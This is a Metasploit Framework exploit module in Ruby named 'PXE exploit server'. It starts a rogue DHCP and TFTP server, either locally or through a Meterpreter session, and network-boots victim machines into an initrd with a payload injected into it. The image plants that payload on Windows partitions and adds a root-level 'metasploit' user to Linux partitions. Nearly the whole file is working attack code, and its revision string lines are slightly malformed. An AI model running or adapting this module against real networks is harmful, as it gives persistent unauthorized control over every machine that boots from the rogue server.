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##
# $Id: pxexploit.rb 13493 2011-08-05 17:10:27Z scriptjunkie $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex/proto/tftp'
require 'rex/proto/dhcp'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::TFTPServer
def initialize
super(
'Name' => 'PXE exploit server',
'Version' => '$Revision: 13493
,
'Description' => %q{
This module provides a PXE server, running a DHCP and TFTP server.
The default configuration loads a linux kernel and initrd into memory that
reads the hard drive; placing the payload on the hard drive of any Windows
partition seen, and add a uid 0 user with username and password metasploit to any
linux partition seen.
},
'Author' => [ 'scriptjunkie' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 13493
,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 4500,
'DisableNops' => 'True',
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows Universal',
{
}
],
],
'Privileged' => true,
'Stance' => Msf::Exploit::Stance::Passive,
'DefaultTarget' => 0
)
register_options(
[
OptInt.new('SESSION', [ false, 'A session to pivot the attack through' ])
], self.class)
register_advanced_options(
[
OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from' ]),
OptString.new('SRVHOST', [ false, 'The IP of the DHCP server' ]),
OptString.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]),
OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]),
OptString.new('DHCPIPEND', [ false, 'The last IP to give out' ])
], self.class)
end
def exploit
if not datastore['TFTPROOT']
datastore['TFTPROOT'] = File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')
end
datastore['FILENAME'] = "update1"
datastore['SERVEONCE'] = true # once they reboot; don't infect again - you'll kill them!
# Prepare payload
print_status("Creating initrd")
initrd = IO.read(File.join(Msf::Config.data_directory, 'exploits', 'pxexploit','updatecustom'))
uncompressed = Rex::Text.ungzip(initrd)
payl = payload.generate
uncompressed[uncompressed.index('AAAAAAAAAAAAAAAAAAAAAA'),payl.length] = payl
initrd = Rex::Text.gzip(uncompressed)
# Meterpreter attack
if framework.sessions.include? datastore['SESSION']
client = framework.sessions[datastore['SESSION']]
if not client.lanattacks
print_status("Loading lanattacks extension...")
client.core.use("lanattacks")
end
print_status("Loading DHCP options...")
client.lanattacks.load_dhcp_options(datastore)
1.upto(4) do |i|
print_status("Loading file #{i} of 4")
if i < 4
contents = IO.read(::File.join(datastore['TFTPROOT'],"update#{i}"))
else
contents = initrd
end
client.lanattacks.add_tftp_file("update#{i}",contents)
end
print_status("Starting TFTP server...")
client.lanattacks.start_tftp
print_status("Starting DHCP server...")
client.lanattacks.start_dhcp
print_status("pxesploit attack started")
return
end
# normal attack
print_status("Starting TFTP server...")
@tftp = Rex::Proto::TFTP::Server.new
@tftp.set_tftproot(datastore['TFTPROOT'])
@tftp.register_file('update4',initrd)
@tftp.start
print_status("Starting DHCP server...")
@dhcp = Rex::Proto::DHCP::Server.new( datastore )
@dhcp.start
print_status("pxesploit attack started")
# Wait for finish..
@tftp.thread.join
@dhcp.thread.join
print_status("pxesploit attack completed")
end
end
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